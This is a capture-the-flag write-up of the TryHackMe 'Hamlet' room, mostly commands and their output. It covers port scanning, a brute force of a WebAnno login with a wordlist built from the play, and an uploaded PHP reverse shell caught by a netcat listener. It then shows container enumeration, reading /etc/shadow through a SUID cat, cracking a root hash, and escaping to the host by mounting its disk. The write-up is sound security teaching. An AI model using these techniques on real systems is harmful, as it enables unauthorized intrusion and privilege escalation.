Recon to foothold
Let’s begin with a scan, first masscan
rob:~/ $ sudo masscan -p1-65535,U:1-65535 10.10.34.135 --rate=1000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-01-15 21:04:27 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on 10.10.34.135
Discovered open port 501/tcp on 10.10.34.135
Discovered open port 8000/tcp on 10.10.34.135
Discovered open port 21/tcp on 10.10.34.135
Discovered open port 80/tcp on 10.10.34.135
Discovered open port 22/tcp on 10.10.34.135
And now nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-15 21:09 GMT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:09
Completed NSE at 21:09, 0.00s elapsed
Initiating NSE at 21:09
Completed NSE at 21:09, 0.00s elapsed
Initiating NSE at 21:09
Completed NSE at 21:09, 0.00s elapsed
Initiating Ping Scan at 21:09
Scanning 10.10.34.135 [2 ports]
Completed Ping Scan at 21:09, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:09
Completed Parallel DNS resolution of 1 host. at 21:09, 0.02s elapsed
Initiating Connect Scan at 21:09
Scanning 10.10.34.135 [6 ports]
Discovered open port 21/tcp on 10.10.34.135
Discovered open port 22/tcp on 10.10.34.135
Discovered open port 8080/tcp on 10.10.34.135
Discovered open port 80/tcp on 10.10.34.135
Discovered open port 501/tcp on 10.10.34.135
Discovered open port 8000/tcp on 10.10.34.135
Completed Connect Scan at 21:09, 0.01s elapsed (6 total ports)
Initiating Service scan at 21:09
Scanning 6 services on 10.10.34.135
Completed Service scan at 21:10, 12.68s elapsed (6 services on 1 host)
NSE: Script scanning 10.10.34.135.
Initiating NSE at 21:10
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 21:10, 11.01s elapsed
Initiating NSE at 21:10
Completed NSE at 21:10, 0.11s elapsed
Initiating NSE at 21:10
Completed NSE at 21:10, 0.00s elapsed
Nmap scan report for 10.10.34.135
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.14.6.26
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxr-xr-x 1 0 0 113 Sep 15 14:45 password-policy.md
|_-rw-r--r-- 1 0 0 1425 Sep 15 14:48 ufw.status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a0:ef:4c:32:28:a6:4c:7f:60:d6:a6:63:32:ac:ab:27 (RSA)
| 256 5a:6d:1a:39:97:00:be:c7:10:6e:36:5c:7f:ca:dc:b2 (ECDSA)
|_ 256 0b:77:40:b2:cc:30:8d:8e:45:51:fa:12:7c:e2:95:c7 (ED25519)
80/tcp open http lighttpd 1.4.45
|_http-server-header: lighttpd/1.4.45
|_http-title: Hamlet Annotation Project
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
501/tcp open tcpwrapped
8000/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.48 (Debian)
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 500
| Content-Type: application/json;charset=UTF-8
| Date: Sat, 15 Jan 2022 21:10:06 GMT
| Connection: close
| {"timestamp":1642281007288,"status":500,"error":"Internal Server Error","exception":"org.springframework.security.web.firewall.RequestRejectedException","message":"The request was rejected because the URL contained a potentially malicious String "%2e"","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
| GetRequest:
| HTTP/1.1 302
| Set-Cookie: JSESSIONID=7E0749B7DCDCB4726534F2CA65F45BDC; Path=/; HttpOnly
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: SAMEORIGIN
| Location: http://localhost:8080/login.html
| Content-Length: 0
| Date: Sat, 15 Jan 2022 21:10:06 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 302
| Set-Cookie: JSESSIONID=7CEDB0C742FB7403F944200239FA6749; Path=/; HttpOnly
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: SAMEORIGIN
| Location: http://localhost:8080/login.html
| Content-Length: 0
| Date: Sat, 15 Jan 2022 21:10:06 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sat, 15 Jan 2022 21:10:06 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: WebAnno - Log in
|_Requested resource was http://10.10.34.135:8080/login.html
|_http-favicon: Spring Java Framework
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=1/15%Time=61E3382C%P=x86_64-pc-linux-gnu%r(Ge
--snip--
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 21:10
Completed NSE at 21:10, 0.00s elapsed
Initiating NSE at 21:10
Completed NSE at 21:10, 0.00s elapsed
Initiating NSE at 21:10
Completed NSE at 21:10, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.30 seconds
We have an FTP service on port 21, let’s have a look at that first
rob:~/ $ ftp 10.10.114.205
Connected to 10.10.114.205.
220 (vsFTPd 3.0.3)
Name (10.10.114.205:rob): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
425 Failed to establish connection.
ftp> passive
Passive mode on.
ftp> ls -la
227 Entering Passive Mode (10,10,114,205,196,112).
150 Here comes the directory listing.
drwxr-xr-x 2 0 114 4096 Sep 15 14:48 .
drwxr-xr-x 2 0 114 4096 Sep 15 14:48 ..
-rwxr-xr-x 1 0 0 113 Sep 15 14:45 password-policy.md
-rw-r--r-- 1 0 0 1425 Sep 15 14:48 ufw.status
226 Directory send OK.
ftp> mget *
mget password-policy.md? y
227 Entering Passive Mode (10,10,114,205,197,99).
150 Opening BINARY mode data connection for password-policy.md (113 bytes).
226 Transfer complete.
113 bytes received in 0.00 secs (112.9494 kB/s)
mget ufw.status? y
227 Entering Passive Mode (10,10,114,205,198,48).
150 Opening BINARY mode data connection for ufw.status (1425 bytes).
226 Transfer complete.
1425 bytes received in 0.00 secs (1.4025 MB/s)
ftp> exit
221 Goodbye.
Excellent, let’s see what we found, first password-policy.md
rob:~/ $ cat password-policy.md
# Password Policy
## WebAnno
New passwords should be:
- lowercase
- between 12 and 14 characters long
Ok, that’s interesting. This could help if we have to make a password list or something similar. Now the ufw.status
file
rob:~/ $ cat ufw.status
Status: active
To Action From
-- ------ ----
20/tcp ALLOW Anywhere
21/tcp ALLOW Anywhere
22/tcp ALLOW Anywhere
80/tcp ALLOW Anywhere
501/tcp ALLOW Anywhere
8080/tcp ALLOW Anywhere
8000/tcp ALLOW Anywhere
1603/tcp ALLOW Anywhere
1564/tcp ALLOW Anywhere
50000:50999/tcp ALLOW Anywhere
20/tcp (v6) ALLOW Anywhere (v6)
21/tcp (v6) ALLOW Anywhere (v6)
22/tcp (v6) ALLOW Anywhere (v6)
80/tcp (v6) ALLOW Anywhere (v6)
501/tcp (v6) ALLOW Anywhere (v6)
8080/tcp (v6) ALLOW Anywhere (v6)
8000/tcp (v6) ALLOW Anywhere (v6)
1603/tcp (v6) ALLOW Anywhere (v6)
1564/tcp (v6) ALLOW Anywhere (v6)
50000:50999/tcp (v6) ALLOW Anywhere (v6)
So the firewall is active, assuming this is current, there could be more vunerable services accessible once we get into the box. Additionally, if we assume a default deny, this gives us a clue on ports that might be blocked/open for reverse shells etc.
Moving on to the web page on port 80 we find a short intro
We have a link to a copy of the play Hamlet and a good clue when taken alongside the password-policy details we found earlier, this guy ghost@webanno.hamlet.thm
is obsessed with Hamlet - that would make it a good place for him to be taking a password from perhaps then!
Let’s try to use cewl
to make a password list from the text
rob:Hamlet/ $ cewl -m 12 -w wordlist.txt --lowercase http://10.10.230.217/hamlet.txt
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
rob:Hamlet/ $ wc -l wordlist.txt
75 wordlist.txt
Ok, 75 words, not bad! Let’s use hydra
now to see if any of these passwords work, but where to use it??
rob:Hamlet/ $ hydra -l ghost -P wordlist.txt 10.10.230.217 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-16 15:26:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 75 login tries (l:1/p:75), ~5 tries per task
[DATA] attacking ssh://10.10.230.217:22/
[ERROR] target ssh://10.10.230.217:22/ does not support password authentication (method reply 4).
Not SSH then, this will accept a key only it seems, let’s have a look around for another way in
It’s not through FTP
[DATA] attacking ftp://10.10.230.217:21/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-16 15:28:12
While using gobuster
we find that we missed a robots.txt
file by getting all excited about the possible password list
So we find a flag, THM{REDACTED}
, but still no way in
gobuster
finds us an interesting forbidden directory ~
, although as the search continues we see that this might be any directory with a ~
in it…
rob:Hamlet/ $ gobuster dir --url http://10.10.230.217 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,html,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.230.217
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2022/01/16 15:29:58 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 1011]
/~ (Status: 403) [Size: 345]
/robots.txt (Status: 200) [Size: 64]
/~sys~ (Status: 403) [Size: 345]
/live~ (Status: 403) [Size: 345]
/index.html (Status: 200) [Size: 1011]
/~stats~ (Status: 403) [Size: 345]
===============================================================
2022/01/16 15:34:43 Finished
===============================================================
On port 8000 we find a display of our Hamlet text
Using gobuster
here we find two subdirectories, both 403 forbidden though (once we follow the redirect)
rob:Hamlet/ $ gobuster dir --url http://10.10.230.217:8000 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,html,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.230.217:8000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2022/01/16 15:38:49 Starting gobuster in directory enumeration mode
===============================================================
/db (Status: 301) [Size: 318] [--> http://10.10.230.217:8000/db/]
/index.html (Status: 200) [Size: 106]
/repository (Status: 301) [Size: 326] [--> http://10.10.230.217:8000/repository/]
/server-status (Status: 403) [Size: 280]
/index.html (Status: 200) [Size: 106]
===============================================================
2022/01/16 15:43:44 Finished
===============================================================
On port 501 we find a back and forth between ‘GRAVEDIGGER’ and ‘PENTESTER’
rob:Hamlet/ $ nc 10.10.230.217 501
GRAVEDIGGER
What do you call a person who builds stronger things than a stonemason, a shipbuilder, or a carpenter does?
PENTESTER
im why he puts on this Confusion:
Grating so harshly all his day
PENTESTER
ts,
Abuses me to damne me. Ile haue grounds
More Relatiue then this: The Play's the thing,
Wherei
Looking up that question in the text finds us this section
Clo. What is he that builds stronger then either the
Mason, the Shipwright, or the Carpenter?
Other. The Gallowes maker; for that Frame outliues a
thousand Tenants
So we can attempt a response
rob:Hamlet/ $ nc 10.10.230.217 501
GRAVEDIGGER
What do you call a person who builds stronger things than a stonemason, a shipbuilder, or a carpenter does?
PENTESTER
The Gallowes maker; for that Frame outliues a
thousand Tenantsee wel
PENTESTER
The Gallowes maker
y thy habit as thy purse can buy;
But not exprest in fancie; rich, not gawdie:
For the Apparel
PENTESTER
But no, either this is not the correct response, or this is not actually an interactive service after all
On port 8080 though we may have found what we need
Let’s try our hydra
here again
rob:Hamlet/ $ hydra -l ghost -P wordlist.txt 10.10.133.193 -s 8080 http-post-form "/login.html?-1.-loginForm:urlfragment=&username=ghost&password=^PASS^:Login failed" -t 1 -f -I
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-16 16:31:10
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 75 login tries (l:1/p:75), ~75 tries per task
[DATA] attacking http-post-form://10.10.133.193:8080/login.html?-1.-loginForm:urlfragment=&username=ghost&password=^PASS^:Login failed
[8080][http-post-form] host: 10.10.133.193 login: ghost password: vnsanctified
[STATUS] attack finished for 10.10.133.193 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-16 16:31:51
Ok, we got it! The credentials we need are ghost:vnsanctified
. Now we can login
If we open up ‘Projects’ we find an option to upload documents, could we use this to load up a reverse shell script?
It seems so! Now we could access the hamlet.txt
file at the webserver root, let’s see if we can do the same now for our shell
rob:Hamlet/ $ nc -lnvp 50001
listening on [any] 50001 ...
And we can’t, in fact we get a 404 not found so it seems that the default upload location is not to the webroot
While looking at annotations added by the user ophelia
we find an interesting note
Apparently the KEQehFDWwuQbMbKW
password does not work for Webanno, does that mean it works for something else?
rob:Hamlet/ $ ftp 10.10.133.193
Connected to 10.10.133.193.
220 (vsFTPd 3.0.3)
Name (10.10.133.193:rob): ophelia
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls -la
227 Entering Passive Mode (10,10,133,193,196,125).
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 Sep 15 14:41 .
drwxr-xr-x 5 0 0 4096 Sep 15 14:41 ..
-rw-r--r-- 1 1001 1001 31 Sep 16 06:19 flag
226 Directory send OK.
ftp> get flag
local: flag remote: flag
227 Entering Passive Mode (10,10,133,193,197,26).
150 Opening BINARY mode data connection for flag (31 bytes).
226 Transfer complete.
31 bytes received in 0.00 secs (20.9505 kB/s)
Yes it does! We find a flag, THM{REDACTED}
when logging into FTP as ophelia
A quick check out of curiousity reveals that we are not chrooted into this directory, we can move around the filesystem - this feels potentially very unintended
ftp> cd ..
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (10,10,133,193,197,117).
150 Here comes the directory listing.
drwxr-xr-x 5 0 0 4096 Sep 15 14:41 .
drwxr-xr-x 24 0 0 4096 Sep 15 11:16 ..
drwxr-xr-x 2 1002 1002 4096 Sep 15 14:44 gravediggers
drwxr-xr-x 2 1001 1001 4096 Sep 15 14:41 ophelia
drwxr-xr-x 6 1000 1000 4096 Sep 16 06:27 ubuntu
226 Directory send OK.
This allows us to get into the gravedigger
home directory and grab the code behind the service running on port 501, gravediggers.py
#!/usr/bin/env python3
import socket
import random
import time
with open('hamlet.txt', 'r') as hf:
hamlet = hf.read()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind(('0.0.0.0', 501))
s.listen()
conn, addr = s.accept()
with conn:
print(f'Connection: {addr}')
time.sleep(1)
conn.sendall(b'GRAVEDIGGER\r\n')
conn.sendall(b'What do you call a person who builds stronger things than a stonemason, a shipbuilder, or a carpenter does?\r\n')
while True:
conn.sendall(b'PENTESTER\r\n')
data = conn.recv(1024)
if b'gallows' in data:
conn.sendall(b`THM{REDACTED}`\r\n")
break
else:
start = random.randint(0, len(hamlet) - 100)
end = start + random.randint(1, 100)
conn.sendall(hamlet[start:end].strip().encode('utf-8'))
conn.sendall(b'\r\n')
if not data:
break
So it seems we were close, we used the term gallowes
direct from the text, but gallows
would have given us a flag
rob:Hamlet/ $ nc 10.10.133.193 501
GRAVEDIGGER
What do you call a person who builds stronger things than a stonemason, a shipbuilder, or a carpenter does?
PENTESTER
gallows
THM{REDACTED}
Under /opt
we find some interesting directories, and in one, a flag!
ftp> cd /opt
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (10,10,133,193,196,3).
150 Here comes the directory listing.
drwxr-xr-x 5 0 0 4096 Sep 15 14:46 .
drwxr-xr-x 24 0 0 4096 Sep 15 11:16 ..
drwx--x--x 4 0 0 4096 Sep 15 11:39 containerd
drwxr-xr-x 2 0 0 4096 Sep 15 14:46 stage
drwxr-xr-x 2 0 0 4096 Sep 15 14:46 web
226 Directory send OK.
ftp> cd stage
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (10,10,133,193,195,172).
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Sep 15 14:46 .
drwxr-xr-x 5 0 0 4096 Sep 15 14:46 ..
-rw-r--r-- 1 0 0 29 Sep 16 06:19 flag
226 Directory send OK.
ftp> get flag
local: flag remote: flag
227 Entering Passive Mode (10,10,133,193,198,199).
150 Opening BINARY mode data connection for flag (29 bytes).
226 Transfer complete.
29 bytes received in 0.00 secs (57.7966 kB/s)
ftp> !cat flag
THM{REDACTED}
Meanwhile in the web
folder we find a single line index.html
ftp> cd web
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (10,10,133,193,195,171).
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Sep 15 14:46 .
drwxr-xr-x 5 0 0 4096 Sep 15 14:46 ..
-rwxr-xr-x 1 0 0 106 Sep 15 14:46 index.html
226 Directory send OK.
ftp> get index.html
local: index.html remote: index.html
227 Entering Passive Mode (10,10,133,193,199,6).
150 Opening BINARY mode data connection for index.html (106 bytes).
226 Transfer complete.
106 bytes received in 0.00 secs (405.9436 kB/s)
ftp> !cat index.html
<iframe style="width:100%; height:100%" src="/repository/project/0/document/0/source/hamlet.txt"></iframe>
This must be the absolute path to the hamlet.txt
document, perhaps from this we could also find the reverse shell script we uploaded
rob:Hamlet/ $ wfuzz -z range,0-100 --hc 404 http://10.10.133.193:8000/repository/project/0/document/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.133.193:8000/repository/project/0/document/FUZZ
Total requests: 101
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 301 9 L 28 W 347 Ch "0"
000000007: 301 9 L 28 W 347 Ch "6"
000000008: 301 9 L 28 W 347 Ch "7"
Total time: 0
Processed Requests: 101
Filtered Requests: 98
Requests/sec.: 0
Using wfuzz
as it can very easily do numbered ranges we find three document folders. And under 7/source/
we find the wordlist we uploaded while testing
Unfortunately we can also see the shell.js
file under 6/source/
, unfortunate because it’s not being executed, just displayed
Let’s try a php shell, this app is running on javascript, but the web server might still be configured to process php. We upload the always reliable pentestmonkey shell and try to view it
The loading hangs, always a good sign, and over at our listener we have a shell
rob:Hamlet/ $ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.133.193] 48966
Linux 66505608bd11 4.15.0-156-generic #163-Ubuntu SMP Thu Aug 19 23:31:58 UTC 2021 x86_64 GNU/Linux
20:24:10 up 3:56, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
User www-data
Ideally now we would stablize our shell then do some initial manual enumeration, however we quickly find out we are in a container, so we should look at escaping that first
$ ls -lA
total 80
-rwxr-xr-x 1 root root 0 Sep 15 14:47 .dockerenv
drwxr-xr-x 1 root root 4096 Sep 3 16:00 bin
drwxr-xr-x 2 root root 4096 Apr 10 2021 boot
drwxr-xr-x 13 root root 3580 Jan 16 16:28 dev
drwxr-xr-x 1 root root 4096 Sep 15 14:47 etc
drwxr-xr-x 2 root root 4096 Apr 10 2021 home
drwxr-xr-x 1 root root 4096 Sep 3 15:54 lib
drwxr-xr-x 2 root root 4096 Sep 2 00:00 lib64
drwxr-xr-x 2 root root 4096 Sep 2 00:00 media
drwxr-xr-x 2 root root 4096 Sep 2 00:00 mnt
drwxr-xr-x 2 root root 4096 Sep 2 00:00 opt
dr-xr-xr-x 120 root root 0 Jan 16 16:28 proc
drwx------ 1 root root 4096 Sep 15 14:47 root
drwxr-xr-x 1 root root 4096 Sep 3 16:00 run
drwxr-xr-x 1 root root 4096 Sep 3 16:00 sbin
drwxr-xr-x 2 root root 4096 Sep 2 00:00 srv
drwxr-xr-x 2 root root 4096 Sep 15 14:46 stage
dr-xr-xr-x 13 root root 0 Jan 16 20:28 sys
drwxrwxrwt 1 root root 4096 Sep 3 16:58 tmp
drwxr-xr-x 1 root root 4096 Sep 2 00:00 usr
drwxr-xr-x 1 root root 4096 Sep 3 15:54 var
There is an interesting directory /stage
, we saw something named very similarly when enumerating FTP
$ cat /stage/flag
THM{REDACTED}
Ok, so perhaps this is a directory mounted in the container as a volume
We can pull deepce
to the box to check out the container
$ ./deepce.sh
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
by stealthcopter
==========================================( Colors )==========================================
[+] Exploit Test ............ Exploitable - Check this out
[+] Basic Test .............. Positive Result
[+] Another Test ............ Error running check
[+] Negative Test ........... No
[+] Multi line test ......... Yes
Command output
spanning multiple lines
Tips will look like this and often contains links with additional info. You can usually
ctrl+click links in modern terminal to open in a browser window
See https://stealthcopter.github.io/deepce
===================================( Enumerating Platform )===================================
[+] Inside Container ........ Yes
[+] Container Platform ...... docker
[+] Container tools ......... None
[+] User .................... www-data
[+] Groups .................. www-data
[+] Docker Executable ....... Not Found
[+] Docker Sock ............. Not Found
[+] Docker Exploits ......... Version Unknown
==================================( Enumerating Container )===================================
[+] Container ID ............ 66505608bd11
[+] Container Full ID ....... 66505608bd11271b2e36d77b954371b99cfc712ba9fce1da0c6686df698188bb
[+] Container Name .......... Could not get container name through reverse DNS
[+] Container IP ............ 172.17.0.2
[+] DNS Server(s) ........... 10.0.0.2
[+] Host IP ................. 172.17.0.1
[+] Operating System ........ GNU/Linux
[+] Kernel .................. 4.15.0-156-generic
[+] Arch .................... x86_64
[+] CPU ..................... Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz
[+] Useful tools installed .. Yes
/usr/bin/curl
/usr/bin/gcc
/bin/hostname
[+] SSHD Service ............ No
[+] Privileged Mode ......... Unknown
====================================( Enumerating Mounts )====================================
[+] Docker sock mounted ....... No
[+] Other mounts .............. Yes
/opt/stage /stage rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw,data=ordered
/srv/webanno /var/www/html rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw,data=ordered
[+] Possible host usernames ...
====================================( Interesting Files )=====================================
[+] Interesting environment variables ... No
[+] Any common entrypoint files ......... No
[+] Interesting files in root ........... No
[+] Passwords in common files ........... No
[+] Home directories .................... No
./deepce.sh: 787: cannot open /etc/shadow: Permission denied
[+] Hashes in shadow file ............... No
[+] Searching for app dirs ..............
==================================( Enumerating Containers )==================================
By default containers can communicate with other containers on the same network and the
host machine, this can be used to enumerate further
Could not ping sweep, requires nmap or ping to be executable
==============================================================================================
And indeed, /stage
is a mounted volume, as is /var/www/html
Doing a little enumeration we check for SUID/SGID files and find that cat
is SUID
$ ls -lA /bin/cat
-rwsr-xr-x 1 root root 43936 Sep 24 2020 /bin/cat
With this we can read /etc/shadow
$ cat /etc/shadow | head -n 1
root:$y$j9T$.9s2wZRY3hcP/udKIFher1$sIBIYsiMmFlXhKOO4ZDJDXo54byuq7a4xAD0k9jw2m4:18885:0:99999:7:::
Unfortunately, this doesn’t seem to be a real hash, we can’t find any hash that starts with $y$
. Perhaps there’s a working hash in a backup somewhere… or… actually it does exist, it’s called ‘yescrypt’ and seems to be rapidly becoming a default hashing method (Debian 11, Ubuntu 22.04…)
rob:Hamlet/ $ john container_root.hash -w=/usr/share/wordlists/rockyou.txt --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
murder (?)
1g 0:00:00:11 DONE (2022-01-17 11:04) 0.09066g/s 443.8p/s 443.8c/s 443.8C/s 2222222..asasas
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
hashcat
doesn’t yet support this hashing algorithm and john
uses --format=crypt
to pass it through the tool to the operating system’s underlying libxcrypt
package. After all that, we got a password, murder
Now we can become root
on this container and grab the next flag
$ su -
Password: murder
id
uid=0(root) gid=0(root) groups=0(root)
ls -lA
total 12
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
-rw-r--r-- 1 root root 24 Sep 16 06:20 .flag
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
cat .flag
THM{REDACTED}
So, one thing we noticed earlier while enumerating was that we seemed to have visiblity of the full set of system devices despite being in a container. As root
now we should be able to mount the host filesystem and read out our last flag
mkdir -p /mnt/fs
mount /dev/dm-0 /mnt/fs
ls -lA /mnt/fs
total 4015216
drwxr-xr-x 2 root root 4096 Sep 15 11:24 bin
drwxr-xr-x 2 root root 4096 Sep 15 11:14 boot
drwxr-xr-x 2 root root 4096 Sep 15 11:15 cdrom
drwxr-xr-x 4 root root 4096 Aug 6 2020 dev
drwxr-xr-x 99 root root 4096 Sep 16 06:43 etc
drwxr-xr-x 5 root root 4096 Sep 15 14:41 home
lrwxrwxrwx 1 root root 34 Sep 15 11:16 initrd.img -> boot/initrd.img-4.15.0-156-generic
lrwxrwxrwx 1 root root 34 Sep 15 11:16 initrd.img.old -> boot/initrd.img-4.15.0-156-generic
drwxr-xr-x 23 root root 4096 Sep 15 11:39 lib
drwxr-xr-x 2 root root 4096 Aug 6 2020 lib64
drwx------ 2 root root 16384 Sep 15 11:14 lost+found
drwxr-xr-x 2 root root 4096 Aug 6 2020 media
drwxr-xr-x 3 root root 4096 Sep 15 14:43 mnt
drwxr-xr-x 5 root root 4096 Sep 15 14:46 opt
drwxr-xr-x 2 root root 4096 Apr 24 2018 proc
drwx------ 5 root root 4096 Sep 15 14:49 root
drwxr-xr-x 13 root root 4096 Aug 6 2020 run
drwxr-xr-x 2 root root 12288 Sep 15 11:39 sbin
drwxr-xr-x 2 root root 4096 Sep 15 11:31 snap
drwxr-xr-x 4 root root 4096 Sep 15 14:45 srv
-rw------- 1 root root 4111466496 Sep 15 11:16 swap.img
drwxr-xr-x 2 root root 4096 Apr 24 2018 sys
drwxrwxrwt 9 root root 4096 Jan 17 12:05 tmp
drwxr-xr-x 10 root root 4096 Aug 6 2020 usr
drwxr-xr-x 14 root root 4096 Sep 15 14:42 var
lrwxrwxrwx 1 root root 31 Sep 15 11:16 vmlinuz -> boot/vmlinuz-4.15.0-156-generic
lrwxrwxrwx 1 root root 31 Sep 15 11:16 vmlinuz.old -> boot/vmlinuz-4.15.0-156-generic
cd /mnt/fs2/root
cat flag
THM{REDACTED}
To get full root access we can just drop an SSH key into /root/.ssh/authorized_keys
ls -lA .ssh
total 0
-rw------- 1 root root 0 Sep 15 11:31 authorized_keys